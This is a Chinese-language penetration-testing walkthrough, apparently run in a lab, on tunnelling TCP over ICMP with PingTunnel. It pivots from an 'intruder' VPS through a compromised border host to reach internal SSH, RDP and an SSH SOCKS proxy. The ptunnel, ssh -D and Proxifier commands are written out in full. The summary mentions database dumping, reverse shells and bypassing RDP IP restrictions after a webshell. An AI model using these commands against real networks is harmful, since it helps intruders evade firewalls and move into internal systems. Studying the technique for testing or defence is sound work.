步骤
1. icmp隧道实战应用场景。
2. 在建立icmp隧道的两端机器上分别编译安装PingTunnel。
3. 通过icmp隧道来转发常规tcp端口。
基础环境准备
ubuntu16-LAMP
入侵者为公网的一台vps(ubuntu 16.04.3 LTS),相当于隧道客户端,公网 ip: 192.168.3.110。
heightlamp
目标边界的一台 linux web 机器(centOS 7), 相当于隧道服务端,公网 ip: 192.168.3.76,内网 ip: 192.168.4.17 192.168.5.17。
WebServer-IIS7
目标内网下的一台 win 服务器,内网 ip: 192.168.5.2。
Tomcat8
目标内网下的一台数据库服务器,内网 ip: 192.168.4.32 192.168.5.32。
win10-client
目标内网下的一台 windows 客户机,内网 ip: 192.168.5.5。
Win7-Tools
入侵者本地内网的一台 windows 客户机,本地内网 ip: 192.168.122.138。
环境拓扑:
关于 icmp 隧道,经常会用到的一些具体渗透场景:
反复尝试了其它的各类上层隧道全部无效,七层的http隧道、四层的dns隧道、ssh隧道、socks隧道、常规正反向端口转发都不行。
唯独允许icmp数据的正常进出,可以尝试把一些tcp/udp数据封装在icmp隧道里面进行传递,到了隧道另一端再进行解封装,这样一来就可以很好的绕过某些简单的规则封锁。
1. 在需要建立 icmp 隧道的两端机器上同时编译安装好 PingTunnel
2. 在目标边界的heightlamp机器上把icmp隧道的一端起来,把入向的icmp数据转成tcp再进行转发
# ptunnel -x lion &
2.1回到ubuntu16-LAMP机器上执行,监听在 0.0.0.0的1080端口,当外部来访问本地的 1080 端口时,把流量通过icmp隧道转到内网指定机器的指定端口上。如下
-x 指定 icmp 隧道连接验证密码
-lp 指定要监听的本地 tcp 端口
-da 指定要转发到的机器的 ip 地址
-dp 指定要转发到的机器的 tcp 端口
-p icmp 隧道另一端机器的 ip 地址
# ptunnel -p 192.168.3.76 -lp 1080 -da 127.0.0.1 -dp 22 -x klionsec &
putty 192.168.3.110 1080
# ptunnel -p 192.168.3.76 -lp 1080 -da 192.168.5.2 -dp 3389 -x klionsec &
mstsc 192.168.3.110 1080
2.2如目标内网有linux机器,就无需一个个端口的转了。可以直接通过icmp隧道把指定的本地端口转到目标内网指定的linux机器ssh隧道的socks端口上。如下:
先去内网的Tomcat8把ssh tunnel的socks端口起起来:
# ssh -qTfnN -D 0.0.0.0:1081 root@127.0.0.1 -p 22
# netstat -tulnp | grep grep ":1081"
回到ubuntu16-LAMP机器上开始通过 icmp 隧道执行转发:
# ptunnel -p 192.168.3.76 -lp 1080 -da 192.168.4.32 -dp 1081 -x klionsec &
# netstat -tulnp | grep ":1080"
最后回到本地Win7-Tools拿 proxifier连到ubuntu16-LAMP的1080端口,这就相当于连到目标内网Tomcat8机器的1081 socks端口上。我们也完全可以通过这种方式直接把整个msf都代到目标内网,此时的msf相当于被包裹在两层隧道内,从外到内分别是icmp 隧道+ssh 隧道(加密)
proxifier SocksServer 192.168.3.110 1080
mstsc 192.168.5.5:3389
小结
还可以通过icmp隧道进行脱库,反弹shell等等。原理都是相似的。
比如我们事先已经通过webshell提权拿到了目标边界的 windows 机器,一看3389是正常开着的就想连上去看看,但目标的rdp做了ip访问限制。
但我们发现从外部ping是能ping得通的,此时就可以利用icmp隧道来突破这种简单的访问限制。
还可以通过icmp隧道把指定的端口转到它本地127.0.0.1的3389上,目标本身不可能限制自己访问自己的3389端口。